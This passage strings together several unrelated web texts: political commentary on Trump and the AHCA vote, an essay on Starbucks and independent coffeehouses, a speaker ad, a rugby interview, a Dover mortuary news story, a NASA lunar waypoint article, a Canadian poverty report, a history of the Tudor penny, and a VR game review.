all (until they can line up more votes, at least). But Trump isn’t a typical party leader Trump, however, has demanded that the House vote on the AHCA even though he’s not sure if it can pass. He’s probably taking this approach for a few reasons. First, Trump sees himself as a savvy negotiator and dealmaker willing to employ bold stratagems. Here, he sees himself as calling holdout conservatives’ bluff. (Maybe he’s right!) The Trump playbook pic.twitter.com/FQBQJU9Mx0 — Brandon Wall (@Walldo) March 24, 2017 Second, as a businessman and Washington outsider, Trump has never actually governed before. As a result, he simply may not be all that familiar with legislative leaders’ dynamics on close votes. (A piece by Axios’s Jonathan Swan provided some evidence for this, claiming that congressional GOP leaders fear “the vote will collapse” if they don’t line up the votes in advance, while the White House is more optimistic.) Third, Trump may not care all that much about trying to protect Republican members of Congress. He himself came up as an outsider in the party, and hardly any members of Congress endorsed him. He may naturally have little loyalty to the party as a result. (Though he may live to regret it if Republicans lose the House.) Fourth, the president doesn’t seem to care all that much about health reform in particular. It wasn’t his top priority during the campaign, and people close to him are already leaking to the New York Times’s Glenn Thrush and Maggie Haberman that he regrets agreeing to put it ahead of tax reform on the agenda. If it fails, he may think, So what? Finally, Trump is vindictive and legendarily holds on to grudges. Rather than try to make GOP members of Congress more comfortable, he may want to force them to take a clear stand for or against him — so, perhaps, he can retaliate against those who remain defiant. -The first time Herb Hyman spoke with the rep from Starbucks, in 1991, the life of his small business flashed before his eyes. For three decades, Hyman’s handful of Coffee Bean & Tea Leaf stores had been filling the caffeine needs of Los Angeles locals and the Hollywood elite: Johnny Carson had his own blend there; Jacques Cousteau arranged to have Hyman’s coffee care packages meet his ship at ports around the world; and Dirty Dozen leading man Lee Marvin often worked behind the counter with Hyman for fun. But when the word came down that the rising Seattle coffee juggernaut was plotting its raid on Los Angeles, Hyman feared his life’s work would be trampled underfoot. Starbucks even promised as much. “They just flat-out said, ‘If you don’t sell out to us, we’re going to surround your stores,’ ” Hyman recalled. “And lo and behold, that’s what happened—and it was the best thing that ever happened to us.” Ever since Starbucks blanketed every functioning community in America with its cafes, the one effect of its expansion that has steamed people the most has been the widely assumed dying-off of mom and pop coffeehouses. Our cities once overflowed with charming independent coffee shops, the popular thinking goes, until the corporate steamroller known as Starbucks came through and crushed them all, perhaps tossing the victims a complimentary Alanis Morrisette CD to ease the psychic pain. In a world where Starbucks operates nearly 15,000 stores, with six new ones opening each day, isn’t this a reasonable assumption? How could momma and poppa coffee hope to survive? But Hyman didn’t misspeak—and neither did the dozens of other coffeehouse owners I’ve interviewed. Strange as it sounds, the best way to boost sales at your independently owned coffeehouse may just be to have Starbucks move in next-door. That’s certainly how it worked out for Hyman. Soon after declining Starbucks’s buyout offer, Hyman received the expected news that the company was opening up next to one of his stores. But instead of panicking, he decided to call his friend Jim Stewart, founder of the Seattle’s Best Coffee chain, to find out what really happens when a Starbucks opens nearby. “You’re going to love it,” Stewart reported. “They’ll do all of your marketing for you, and your sales will soar.” The prediction came true: Each new Starbucks store created a local buzz, drawing new converts to the latte-drinking fold. When the lines at Starbucks grew beyond the point of reason, these converts started venturing out—and, Look! There was another coffeehouse right next-door! Hyman’s new neighbor boosted his sales so much that he decided to turn the tactic around and start targeting Starbucks. “We bought a Chinese restaurant right next to one of their stores and converted it, and by God, it was doing $1 million a year right away,” he said. Hyman isn’t the only one who has experienced this Starbucks reverse jinx. Orange County, Calif., coffeehouse owner Martin Diedrich started hyperventilating when he first heard a Starbucks was opening “within a stone’s throw” of his cafe, yet he reported similar results: “I didn’t suffer whatsoever. Ultimately I prospered, in no small part because of it.” Ward Barbee, the recently passed founder of the coffee trade magazine Fresh Cup, saw this happen scores of times. “Anyone who complains about having a Starbucks put in next to you is crazy,” he told me. “You want to welcome the manager, give them flowers. It should be the best news that any local coffeehouse ever had.” Now, lest we get carried away with the happy civic results of Starbucks’ global expansion, I hasten to point out that the company isn’t exactly thrilled to have this effect on its local competitors’ sales. Starbucks is actually trying to be ruthless in its store placements; it wants those independents out of the way, and it frequently succeeds at displacing them through other means, such as buying a mom and pop’s lease or intimidating them into selling out. Beyond the frothy drinks and the touchy-feely decor, Starbucks runs on considerable competitive fire. Consider Tracy Cornell, a former Starbucks real-estate dealmaker who found and locked up a staggering 900 North American retail sites for the company in her decade-plus career. “It was sort of piranha-like,” Cornell told me of her work for Starbucks. “It was just talking to landlords, seeing who was behind on their rent. All I needed was an opening like that, where the landlord wanted out. I was looking for tenants who were weak.” As much as independent coffeehouse owners generally enjoy having a Starbucks close at hand, most of them seem to have a story or two of someone from the company trying to undercut them. And occasionally a new Starbucks will hurt a mom and pop—even drive them out of business. For example, in 2006, cafe owner Penny Stafford filed a federal antitrust suit against the company, alleging a nearby Starbucks illegally sank her Bellevue, Wash., coffeehouse. Starbucks employees were passing out samples right outside her front door, Stafford claims, even though the company’s nearest outlet was over 300 feet away. But closures like this have been the exception, not the rule. In its predatory store placement strategy, Starbucks has been about as lethal a killer as a fluffy bunny rabbit. Business for independently owned coffee shops has been nothing less than exceptional as of late. Here’s a statistic that might be surprising, given the omnipresence of the Starbucks empire: According to recent figures from the Specialty Coffee Association of America, 57 percent of the nation’s coffeehouses are still mom and pops. Just over the five-year period from 2000 to 2005—long after Starbucks supposedly obliterated indie cafes—the number of mom and pops grew 40 percent, from 9,800 to nearly 14,000 coffeehouses. (Starbucks, I might add, tripled in size over that same time period. Good times all around.) So much for the sharp decline in locally owned coffee shops. And prepare yourself for some bona fide solid investment advice: The failure rate for new coffeehouses is a mere 10 percent, according to the market research firm Mintel, which means the vast majority of cafes stay afloat no matter where Starbucks drops its stores. Compare that to the restaurant business, where failure is the norm. So now that we know Starbucks isn’t slaughtering mom and pop, the thorny question remains: Why is Starbucks amplifying their business? It’s actually pretty simple. In contrast to so-called “downtown killers” like Home Depot or Wal-Mart, Starbucks doesn’t enjoy the kinds of competitive advantages that cut down its local rivals’ sales. Look at Wal-Mart. It offers lower prices and a wider array of goods than its small-town rivals, so it acts like a black hole on local consumers, sucking in virtually all of their business. Starbucks, on the other hand, is often more expensive than the local coffeehouse, and it offers a very limited menu; you’ll never see discounts or punch cards at Starbucks, nor will you see unique, localized fare (or—let’s be honest—fare that doesn’t make your tongue feel like it’s dying). In other words, a new Starbucks doesn’t prevent customers from visiting independents in the same way Wal-Mart does—especially since coffee addicts need a fix every day, yet they don’t always need to hit the same place for it. When Starbucks opens a store next to a mom and pop, it creates a sort of coffee nexus where people can go whenever they think “coffee.” Local consumers might have a formative experience with a Java Chip Frappuccino, but chances are they’ll branch out to the cheaper, less crowded, and often higher-quality independent cafe later on. So when Starbucks blitzed Omaha with six new stores in 2002, for instance, business at all coffeehouses in town immediately went up as much as 25 percent. The key for independent coffeehouse owners who want to thrive with a Starbucks next-door is that they don’t try to imitate Starbucks. (As many failed coffee chains can attest, there’s no way to beat Starbucks at being Starbucks.) The locally owned cafes that offer their own unique spin on the coffeehouse experience—and, crucially, a quality brew—are the ones that give the Seattle behemoth fits. Serve an appetizing enough cappuccino, and you can even follow Hyman’s lead and take aim at almighty Starbucks, where automated espresso machines now pull consistently middling shots at the touch of a button—no employee craftsmanship required. After all, if Starbucks can make a profit by putting its stores right across the street from each other, as it so often does, why couldn’t a unique, well-run mom and pop do even better next-door? And given America’s continuing thirst for exorbitantly priced gourmet coffee drinks, there’s a lot of cash out there for the taking. As coffee consultant Dan Cox explained, “You can’t do better than a cup of coffee for profit. It’s insanity. A cup of coffee costs 16 cents. Once you add in labor and overhead, you’re still charging a 400 percent markup—not bad! Where else can you do that?” Until Americans decide they need to pay four bucks a pop every morning for a custom-baked, designer-toast experience, probably nowhere. -Vibrate the music! Turn everyday objects into speakers Pocket sized powerful music maker If it works with headphones, it'll work with Vibroy Everyone knows that the best sounding music comes from high quality speakers. And whether you bought those speakers at a big box store or out of the back of a van, they're probably big. Too big to carry around when you want to make noise on the go. After all, you have to blast the Imperial March when the CEO walks into the board room, right? If you don't, you might find yourself on the receiving end of another Force Choke. The Vibroy Portable Vibration Speaker turns everyday objects into speakers. Stick it to boxes, empty food containers, furniture, your coffee cup. Vibroy's mini module can turn just about anything into a speaker and it's so small that you can slip it into your pocket and take it everywhere you go. Does it work with your device? Yes, it probably does! If you can plug in your earbuds or headphones into it, chances are it will work with the Vibroy. Now wherever you go, you can vibrate the music! Product Specifications -The surfing section of this Jimmy Gopperth interview comes later. Considering the New Plymouth native is a professional rugby player, signed by Leinster to replace Jonathan Sexton (or is that to provide cover for Ian Madigan?) we felt it prudent to lead off with that area of expertise. The Newcastle Falcons seems a peculiar club for a one-time All Black triallist to spend the last four years of his twenties playing the game he was born to run. “I was just kind of sitting behind Dan Carter for ages,” said Gopperth, stalling in the dead ball area of Cill Dara RFC last Friday morning after signing his name roughly a thousand times. “I had a young family and I saw the opportunity. I had a few mates in Newcastle at the time and coming overseas, there was a good atmosphere and it was so much more low key outside of rugby so you could enjoy it, enjoy life. “I had a great four years there. The rugby was not that flash at times, but I adapted really well and had some great experiences.” After 52 outings and 354 points for the Wellington Hurricanes (2005-08) and a a season with the Auckland Blues, how close was every Kiwi boy’s dream to becoming a reality? “I got an All Black trial in 2005 and was always sniffing around. I played Junior All Blacks in 2006 and I was there or there abouts. When you have Dan Carter and Nick Evans floating around, for myself and Stephen Donald it was such a conveyor belt. “I was playing good footy and enjoying myself but it is so hard to crack that black jersey, which is something all young New Zealanders wants to do. I was unfortunate, but I still played at a high level and have no regrets.” Glint in his eye Then Newcastle. Now here. There’s a glint in his eye as he delivers the next comment. “I’m ready for the opportunity to come back into that environment again; to play for a team that is going to be contending for the Heineken Cup is even better. There is a huge buzz around the city, you can see it here today, and that tunes you in a little more. You can test yourself against the best players and the best players in the squad.” Up at the other 22, Ian Madigan is still scribbling away alongside Luke Fitzgerald and a barely visible Brian O’Driscoll, the barrel of kids threatening to collapse in upon him. Until, that is, his smiling face, reappears from underneath the wave of admirers. We choose our next words carefully. Gopperth probably knows by now that he will be fielding the Madigan question from now until our next heat wave, circa 2016, when his contract runs dry. “It is healthy for both of us. You want to go into a team where you have two, three, four guys pushing for one position because it brings the best out of everybody. “If you just get it too easy and you know you’re number one you can let your form slip. This way we can be on each other’s heels and pushing each other. There are a couple of young guys who will be pushing us as well [by complete coincidence Cathal Marsh’s developing frame strolls past]. “Nobody wants to be a back-up, I’m just going to try and fit in as best I can with the systems and the environment and use my authority in the game and my experience and we’ll see how it goes. I’m looking forward to the challenge.” They are similar enough players; squat and waspish with dazzling hand-eye co-ordination. “With myself and Mads, I don’t think – to be fair to (Sexton) – we’re losing too much. We’re gaining enthusiasm with both of us. We will be biting at each other’s heels and that enthusiasm we might just blossom amongst the group.” That’s enough rugby talk for August. Go to YouTube and the usual action clips of Gopperth can be found but it’s the eight minute, freeze-frame surfing montage, replete with slick tunes that’s really worth a look. A friend has a place up in the Donegal seaside village of Rossnowlagh. Wet suit “Ah, I’ve just been trying to get my bearings,” said the man who seems happiest in a wet suit. “When my missus came over we went to the west coast and had a good weekend. It is just like New Zealand, literally, with all the winding roads and the water was nice and warm. “Growing up in New Zealand the beach was on my back doorstep so I grew up in the sea. Having a good coastline here, even the east coast, we went diving, I found a few lobsters . . .” The board and the flippers will be shelved as rugby takes over in the coming weeks and at 30 it’s a career opportunity he almost believed had passed him by. “Once everything worked out that Jonny was leaving, Joe gave me a call to see my availability. I jumped straight away, as soon as Joe asked me, I just said yes. “It is the biggest opportunity I could get, to come to a club such as Leinster . . . I couldn’t turn it down.” -A New Jersey congressman wrote directly to Defense Secretary Leon E. Panetta two months ago to seek details about the Dover Air Force Base mortuary’s practice of dumping troops’ cremated body parts in a landfill but says he never received a reply. The congressman’s letter raises questions about when Panetta learned that the mortuary disposed of cremated portions of remains at the King George County, Va., landfill. Panetta has said he was unaware of the dumping before this week. Rep. Rush Holt (D-N.J.), acting on behalf of a constituent whose husband was killed in Iraq and was prepared for burial by the Dover mortuary, said he sent a letter to Panetta on Sept. 16 “seeking clear and definitive answers” about the mortuary’s landfill practices. Holt said he had raised the issue a few months earlier with the Pentagon’s legislative affairs office but was “frustrated by a failure” to get a full response. Pentagon press secretary George Little said Friday that Panetta’s office had received Holt’s Sept. 16 correspondence and that staffers “have been working to collect the information required to answer the questions in the congressman’s letter. We will, of course, provide a thorough response as promptly as possible.” Little said Panetta was first briefed on the issue Wednesday. At a news conference Thursday, Panetta said he had been kept informed about a broader federal investigation into problems at the Dover mortuary but had been unaware of the landfill arrangements until The Washington Post reported on them the day before. “I did not know that, frankly,” he said. “I think that it happened back in the past,” added Panetta, who took office July 1. “I know they’ve changed that procedure now, but nevertheless it’s something we should look at.” The Dover mortuary handles the remains of American troops killed overseas. The Air Force said that it ended the landfill dumping in 2008 and that the ashes are now buried at sea in ceremonies overseen by the Navy. Air Force officials have said they dumped only cremated fragments or portions of body parts that were unable to be identified at first or were later recovered from the battlefield. Family members had authorized the military to dispose of those portions. The Air Force said the body parts were cremated, then incinerated, and taken to the landfill by a military contractor. The manner of disposal was not disclosed to relatives of the troops. In his letter to Panetta, Holt asked why the ashes were trucked to the landfill and not interred at Arlington National Cemetery. He also asked whether the human remains had been mixed with incinerated medical waste, and he sought information on which military contractors were responsible. As of Friday, Holt said, he still had not received answers from Panetta’s office. “I thought there would be some straightforward explanation that we could get fairly quickly,” Holt said in a telephone interview. “Evidently this has been harder for them to answer.” Holt said he was acting on behalf of Gari-Lynn Smith, a constituent whose husband, Army Sgt. 1st Class Scott R. Smith, was killed by a buried bomb in Iraq in 2006. In 2007, Gari-Lynn Smith received her husband’s autopsy report and learned that some remains had not been found in time to include in his casket. Over the next four years, she tried to find out what happened to those body parts. A Dover mortuary official notified her in April that they had been cremated and taken to the landfill. Holt said the Pentagon’s legislative affairs staff confirmed to him in June that the landfill dumping had taken place between 2003 and 2008. Though they did not give details, they wrote to Holt that the practice ended as part of “a process improvement initiative and not the result of complaints or findings of non-compliance.” In a statement, Holt disputed that assertion. “It is now clear to me that real issues did and may still exist, complaints were made and non-compliance was an all too common occurrence at Dover,” he said. In addition, Holt criticized the Pentagon for not informing him — at the time of his inquiries this summer — that the Air Force was simultaneously conducting a separate investigation into the Dover mortuary. The results of that 18-month investigation were made public Tuesday, when federal investigators said they had documented “gross mismanagement” after whistleblowers complained about lost body parts, shoddy inventory controls and lax supervision. Panetta has said he was fully briefed about the probe as soon as he took office in July. That investigation, however, did not examine the mortuary’s landfill-dumping. The defense secretary appointed an independent panel Tuesday to review overall operations at the mortuary. The panel’s leader, former U.S. surgeon general Richard H. Carmona, quit Friday so he instead could run for the Senate. He is seeking an open seat from Arizona. The Pentagon said Panetta would name a replacement to head the review panel. -Artist's concept of astronauts in an Orion capsule helping direct robotic teleoperations on the moon's farside. NASA is pressing forward on assessing the value of a "human-tended waypoint" near the far side of the moon — one that would embrace international partnerships as well as commercial and academic participation, SPACE.com has learned. According to a Feb. 3 memo from William Gerstenmaier, NASA's associate administrator for human exploration and operations, a team is being formed to develop a cohesive plan for exploring a spot in space known as the Earth-moon libration point 2 (EML-2). Libration points, also known as Lagrangian points, are places in space where the combined gravitational pull of two large masses roughly balance each other out, allowing spacecraft to essentially "park" there. A pre-memo NASA appraisal of EML-2, which is near the lunar far side, has spotlighted this destination as the "leading option" for a near-term exploration capability. [Gallery: Visions of Deep-Space Station Missions] EML-2 could serve as a gateway for capability-driven exploration of multiple destinations, such as near-lunar space, asteroids, the moon, the moons of Mars and, ultimately, Mars itself, according to NASA officials. A capabilities-driven NASA architecture is one that should use the agency's planned heavy-lift rocket, known as the Space Launch System, and the Orion Multi-Purpose Crew Vehicle "as the foundational elements." The Lagrange points for the Earth-moon system. NASA is evaluating an early mission with the Orion capsule placed at Earth-moon L2. Astronauts parked there could teleoperate robots on the lunar farside. (Image: © David A. Kring, LPI-JSC Center for Lunar Science and Exploration) Cadence of compelling missions The memo spells out six strategic principles to help enable exploration beyond low-Earth orbit: Incorporating significant international participation that leverages current International Space Station partnerships. U.S. commercial business opportunities to further enhance the space station logistics market with a goal of reducing costs and allowing for private sector innovation. Multiuse or reusable in-space infrastructure that allows a capability to be developed and reused over time for a variety of exploration destinations. The application of technologies for near-term applications while focusing research and development of new technologies to reduce costs, improve safety, and increase mission capture over the longer term. Demonstrated affordability across the project life cycle. Near-term mission opportunities with a well-defined cadence of compelling missions providing for an incremental buildup of capabilities to perform more complex missions over time. Quiet zone According to strategic space planners, an EML-2 waypoint could enable significant telerobotic science on the far side of the moon and could serve as a platform for solar and Earth scientific observation, radio astronomy and other science in the quiet zone behind the moon. Furthermore, the waypoint could enable assembly and servicing of satellites and large telescopes, among a host of other uses. If NASA succeeds in establishing an astronaut-tended EML-2 waypoint, it would represent the farthest humans have traveled from Earth to date, the memo points out. Extended stays at EML-2 would provide advancements in life sciences and radiation-shielding for long-duration missions outside of the Van Allen radiation belts that protect Earth, scientists say. Robotic roll-out of an antenna — part of a low-frequency array of radio antennas to observe the first stars in the early universe. (Image: © Joe Lazio/JPL ) Next step Gerstenmaier noted that moving forward on international, commercial and academic partnerships will "require significant detailed development and integration." Moreover, Gerstenmaier added, EML-2 "is a complex region of cis-lunar space that has certain advantages as an initial staging point for exploration, but may also have some disadvantages that must be well understood." A NASA study team is assigned the task of developing near-term missions to EML-2 "as we continue to refine our understanding and implications of using this waypoint as part of the broader exploration capability development," the memo explains. The study is targeted for completion by March 30, 2012. A working group of International Space Station members — a meeting bringing together space agencies from around the world — is being held in Paris this week with NASA’s EML-2 strategy likely to be discussed with international partners. Proving ground Bullish on the promise of telerobotics exploration of the moon from EML-2 is Jack Burns, director of the Lunar University Network for Astrophysics Research (LUNAR) Center at the University of Colorado, Boulder. LUNAR is funded by the NASA Lunar Science Institute. Burns and his team have been collaborating with Lockheed Martin (builder of the Orion Multi-Purpose Crew Vehicle) for more than a year to plan an early Orion mission that would go into a halo orbit of EML-2 above the lunar far side. "This is extremely exciting from both the exploration and science sides," Burns told SPACE.com. "This mission concept seems to be really taking off now because it is unique and offers the prospects of doing something significant outside of low-Earth orbit within this decade." In collaboration with Lockheed-Martin, the LUNAR Center is investigating human missions to EML-2 that could be a proving ground for future missions to deep space while also overseeing scientifically important investigations. Astronauts at an in-space habitat near the moon could achieve near-telepresence, allowing greatly increased functionality of robots on the lunar surface compared to control from Earth. (Image: © Dan Lester, University of Texas) Roadways on the moon? In a LUNAR Center white paper provided to SPACE.com, researchers note that an EML-2 mission would have astronauts traveling 15 percent farther from Earth than did the Apollo astronauts, and spending almost three times longer in deep space. [Lunar Legacy: Apollo Moon Mission Photos] Such missions would validate the Orion spacecraft's life-support systems for shorter durations, could demonstrate the high-speed re-entry capability needed for return to Earth from deep space, and could help scientists gauge astronauts’ radiation dose from cosmic rays and solar flares. Doing so would help verify that Orion provides sufficient radiation protection, as it is designed to do, researchers said. On such missions, the white paper explains, Orion astronauts could teleoperate gear on the lunar far side. For instance, the moon-based robotic hardware could obtain samples from the geologically appealing far side — perhaps from the South Pole-Aitken basin, which is one of the largest, deepest and oldest craters in the solar system. Also on a proposed lunar robotic agenda is deployment of a low-frequency array of radio antennas to observe the first stars in the early universe. Among a number of research jobs, the LUNAR team has been investigating how modest equipment could be used to fuse lunar regolith into a concrete-like material, which could then be used for construction of large structures, without the expense of having to carry most of the material to the lunar surface. The ability to fabricate hardened structures from lunar regolith could also foster on-the-spot creation of solar arrays, habitats, and radiation shielding and maybe, even roadways on the surface of the moon. Leonard David has been reporting on the space industry for more than five decades. He is a winner of last year's National Space Club Press Award and a past editor-in-chief of the National Space Society's Ad Astra and Space World magazines. He has written for SPACE.com since 1999. Follow SPACE.com for the latest in space science and exploration news on Twitter @Spacedotcom and on Facebook. -The federal government could save billions of dollars if it tackled the roots of poverty, according to a new report from a government advisory body. The report from the National Council of Welfare urges the governing Tories to take a long-term "investment" approach to preventing poverty, rather than a short-term program spending approach. It says the public cost of poverty is easily $25 billion a year, and climbing — all while the poverty rate does not improve. Conservative Senator Hugh Segal says the new report uses hard numbers to link poverty to the cost of productivity, health care and the justice system. (Frank Gunn/Canadian Press) "The costs and consequences of poverty are much larger than direct spending on social programs. We see the total costs when indirect and societal costs are taken into account," the report says. The council has been able to look at the cost of poverty in a way that federal departments can't, said Conservative Senator Hugh Segal, who has long been involved in poverty eradication. Federal departments analyze poverty programs with a simple cost-benefit analysis, while the council report is able to look at "the cost of inertia, the cost of not doing anything," Segal said. But the new report uses hard numbers to link poverty to the cost of productivity, health care and the justice system, he added. "It's a very good way to encourage public debate and discussion." Savings to be found at hospitals, prisons The long-term preventive approach would eventually save taxpayers significant amounts in emergency health care, prisons, shelters and other social services that are used in floundering attempts to keep poverty under wraps, the report says. There's a catch. Overhauling social supports would require up-front funding. P.O.V. How should Canada deal with poverty? Have your say. "An investment model is geared towards the longer term," says the report titled "The Dollars and Sense of Solving Poverty." "It may require larger initial resources and may take time, but there will be a far greater and more permanent pay-off." While many an anti-poverty advocate has argued that reducing poverty would also reduce health-care costs, the council's report documents case after case of communities saving money by changing their approach. A homeless person in Calgary, for example, can run up $42,000 a year in costs at emergency shelters. Putting that person in a prison or psychiatric hospital would cost about $120,000. But giving that person access to supportive housing and social services would cost between $13,000 and $18,000, the report says. Similarly, about 20 per cent of health-care spending in Canada is attributed to socio-economic factors such as income, the report says, citing research from the Public Health Agency of Canada. "Canadians are paying the most in the least productive areas, trying to fix costly problems linked to inequality, insecurity and poverty that are preventable," the report states. The council recognizes there is a general public concern that spending money on the poor would come at a cost to other people and services. But it argues that poverty reduction benefits society at large, and not just the poor. Pressure on hospitals would be alleviated. The Canadian population would have higher levels of literacy and numeracy, benefiting the economy. And a healthier workforce would dramatically reduce companies' costs of absenteeism. The council, tasked with advising the federal government on dealing with poverty, says Ottawa should start by setting out a long-term vision that identifies needed resources and sets up a way to measure success. The recommendations are similar to those put forward by Canada Without Poverty. In its pre-budget submission, the national activists' group urges the federal government to set firm targets and timelines to reduce poverty, and work with all levels of government to that end. Both groups warn that dealing with poverty is a far more efficient way to reduce crime than passing tough crime legislation that would hit the poor hard. "People who face poverty combined with other factors such as addiction, mental illness and discrimination, and who are mixed with those inclined to inflict evil on these victims, equals crime," the pre-budget submission states. But the federal government has repeatedly resisted calls for a national anti-poverty strategy, saying such issues are better dealt with by local and provincial levels of government. And, indeed, most provincial governments are seized with designing new, long-term anti-poverty strategies. But they also argue that they have neither the scope nor the money to do it alone. "It is still a hard sell. Poverty is a hard sell. It shouldn't be, because it costs everybody," said Liberal Senator Art Eggleton, who led a massive study on poverty two years ago, only to see it dismissed by the federal Tories. "Our future prosperity may well depend on how we address our current level of poverty. I quite simply don't believe we can afford poverty any more." Human Resources Minister Diane Finley will be less likely to ignore this anti-poverty report than others, added Segal. That's because it comes from a group of advisers chosen by the government for their apolitical work in the field. "It should have greater impact," Segal said. -The History of the English penny from 1485 to 1603 covers the period of the Tudor dynasty. The Tudors (1485–1603) [ edit ] Henry VII [ edit ] Silver penny of Henry VII. Henry Tudor, who reigned as King Henry VII between 1485 and 1509, had a rather tenuous claim on the throne, being the Lancastrian claimant via an illegitimate descendant of Edward III when all the more senior candidates had been killed off in the Wars of the Roses. He brought the wars to a conclusion with his 1485 victory at The Battle of Bosworth and subsequently consolidated this power through a variety of means, including his marriage to Elizabeth of York (which united the two warring dynasties.) Henry VII's reign was plagued by pretenders to the throne, whose existence was a result of the King's initially insecure grasp of power. Nevertheless, he was able to subdue each of these attempted usurpers without particular difficulty. The whole style of Henry's coinage marked a break with what had gone before — the king's bust becomes much more lifelike, and the shields on the reverse become much more detailed. Henry's first coinage is very like that of Henry V and VI, minted at London, Canterbury, Durham and York the inscription is one of a variety of HENRIC DI GRA REX ANG — Henry by the grace of God King of England. Soon, however, Henry introduced what is known as the Sovereign coinage, so-called because the king is depicted seated on a throne, while the reverse shows the royal shield over a cross. This issue is regarded as marking the division between the coins of the Middle Ages and of the Renaissance in England. The Sovereign coinage was minted at London, Durham, and York, and inscribed with one of a variety of HENRICUS DI GRA REX ANG . Henry VIII [ edit ] Silver penny of Henry VIII. Henry VIII (1509–1547) is one of England's more interesting monarchs, not just for having married six times, but numismatically too. Henry's first coinage, to 1526, resembled that of his father and still used his father's portrait. With higher bullion prices on the continent, the weight of the silver coins was reduced again. Pennies were minted at the London, Canterbury, and Durham mints. With the reformation starting in the 1530s, the principal effect as far as the coinage was concerned was the closure of the ecclesiastical mints of Canterbury, Durham and York — in future all mints would be Royal mints, under the control of the crown who would consequently get all the revenue. The second coinage, of 1526–1544 had a completely different inscription, H.D.G. ROSA SIE SPIA — Henry by the grace of God a rose without a thorn. At this time the pound standard for mintage was changed from the local Tower pound to the internationally known troy pound; therefore, the value of a pennyweight increased from 1.46 grams to 1.56 grams. The coins were minted at London, and the Canterbury, Durham and York ecclesiastical mints. The Dissolution of the Monasteries in the 1530s and the ratification of the First Act of Supremacy in 1534 resulted in a huge financial bonus for the king, but by 1544 Henry was running short of money, thanks partially to his own extravagant lifestyle and expenditure. Henry's solution was to drastically lower the fineness of the third coinage (1544–47) to only one-third silver and two-thirds copper. This was understandably not popular with the people, and it resulted in Henry acquiring the nickname "Old Coppernose" as the silver rubbed off the high-relief part of the coin design. By this time there were two mints in London, at the Tower and in Southwark, and both of them, together with mints in Bristol, Canterbury and York produced the debased coinage which bore the inscription H.D.G. ROSA SINE SPINA . Edward VI [ edit ] Silver penny of Edward VI. The debased coinage caused rampant inflation, so when Henry died in 1547 he left behind a country with a sickly nine-year-old king, religious turmoil, and economic unrest. Moreover, the influx of silver and gold from Central and South America into Spain and thus to the rest of Europe was destabilising the price of bullion and making the situation worse. Until 1551, what is known as the posthumous coinage was produced — these were coins which were exactly the same as Henry's last issue, but with a different portrait of him. Inflation over the last thirty years had made the penny much less important, and in fact for the next few reigns the most common coins would be shillings, sixpences, and groats. The reign of Edward VI though short (1547–1553) was numismatically important for seeing the introduction of new denominations — the silver crown, half crown, shilling, Sixpence, and Threepence — which were to survive until 1971, and which were a reflection of the increasing wealth of the country. The new coins were struck in good silver, with the aim of revitalising the economy. Edward VI's pennies however, were still struck in debased metal (except for one, possibly unique, coin) at the Tower, Southwark, Bristol and York, with the inscription E.D.G. ROSA SINE SPINA — Edward by the grace of God a rose without a thorn. Mary I [ edit ] Silver penny of Mary and Philip. In 1553 Edward died and was succeeded — after the nine-day rule of Lady Jane Grey — by his older sister, the strongly Catholic Queen Mary. Pennies of her first year, bearing her head alone with the inscription M.D.G. ROSA SINE SPINA — Mary by the grace of God a rose without a thorn — are quite rare. In 1554 she married Philip, the Prince of Spain, and put his portrait on the coinage as well as her own. Both fine silver and base metal pennies of this reign were issued from the Tower mint, with the legend P Z M D G ROSA SINE SPINA — Philip and Mary by the grace of God a rose without a thorn. Elizabeth I [ edit ] Silver penny of Elizabeth I. When Elizabeth I ascended the throne in 1558, England was an impoverished country, in religious turmoil, and with a coinage which was in a poor state after Henry VIII's debasement, since when little had been done to improve either the quantity or quality of the coins in circulation. The coinage system as a whole urgently needed reform, and Elizabeth boldly set about doing this. Throughout her reign large quantities of gold and silver coins of many denominations were produced (the gold and silver often being obtained by raiding Spanish shipping); of the silver denominations produced the shilling and sixpence were most important, but small denomination coins — groats, threepences, half-groats, three-halfpence, pennies, three-farthings, and halfpennies — were also struck and were very popular with merchants and small traders. For the first time in England milled, or machine-produced, coins were produced by Eloye Mestrelle, an ex-employee of the Paris mint, between 1560 and 1572, but while the milled issue was fairly successful there was animosity towards Mestrelle by other employees of the Tower mint who feared for their jobs, which ultimately led to his dismissal. No milled pennies were produced, as they would probably have been too small to be mechanically produced by the equipment of the time. Also for the first time some of Elizabeth's coins were dated. Elizabethan pennies are very small, and are often found creased or bent. The obverse bears the legend E D G ROSA SINE SPINA — Elizabeth by the grace of God a rose without a thorn — around a left-facing bust of the queen, while the reverse bears the legend CIVITAS LONDON — City of London. All pennies were minted at the Tower mint, in London. References [ edit ] -Now that Virtual Reality is becoming more mainstream you begin to see games that were previously meant for traditional 2D being resigned and ported over to VR systems. Personally I am EXTREMELY excited to see developers taking popular 2D games and bring them back to life in a fully 3D VR environment. Indie game ‘Please, Don’t Touch Anything’ (PDTA) originally released on March 26th, 2015 and was a HUGE hit for those who tried it out, leaving it with over 1000 positive reviews on Steam. This hidden gem will SOON be available on Oculus Home (MAY 19th) for the Oculus Rift ($14.99) and Gear VR! ($8.99). The game has been developed by Escalation Studios and Four Quarters based in Texas in partnership with Oculus. Published by Bulkypix based in France. ***The remainder of the article may contain mild spoilers included in text, pictures, & video. “over 1000 positive reviews” When I first started the game I was immediately struggling to figure out my purpose as I had never previously played this game and I was not familiar with any of the objectives. I find it extremely satisfying when you have to slowly figure out things for yourself as opposed to being given too many hints and obvious paths to follow at the beginning of the game. Even so it wasn’t long before I was getting into the groove and creating plenty of chaos! The developers of this game have done an amazing job at creating a seamless atmosphere that looks and feels like a legitimate work space all the while concealing the fact that almost each and every object is a potential clue that must be looked at, studied, and deciphered for it’s proper meaning within the puzzle. What I really love is the fact that you don’t WIN the game as much as you PLAY the game. It’s about doing things differently and making sure you troubleshoot properly. You could say this is a creative troubleshooting simulator set in a warped reality! VR SPECIAL FEATURES! (escalation.com) 30+ mind-bending enigmas with Virtual Reality enhanced endings Fully re-imagined 3D environment built specifically for Virtual Reality Innovative interaction systems for investigating objects in the room A newly-composed chiptune soundtrack with new tracks for VR Don’t worry I didn’t forget about the video! Just in case the article wasn’t enough, I have a semi-playthrough ‘Let’s Play’ video available for you to watch! I worked hard on it so please take a look! I played the game for just about an hour an managed to get through about 6 of the 30+ endings! Thanks a lot for checking out this article! I hope you found it interesting and informative! Please let me know if you have any questions or comments either below or on one of my social outlets! I really appreciate it. Also, if you think that you have something article worthy let me know! I love collaborating with the community! Thanks again! If you’d like to see more in-game pictures click here! ***Mild Spoilers VRGAMERDUDE PLAYS IN HIS GEAR VR! UKRIFTER PLAYS WITH HIS CV1! -I need some 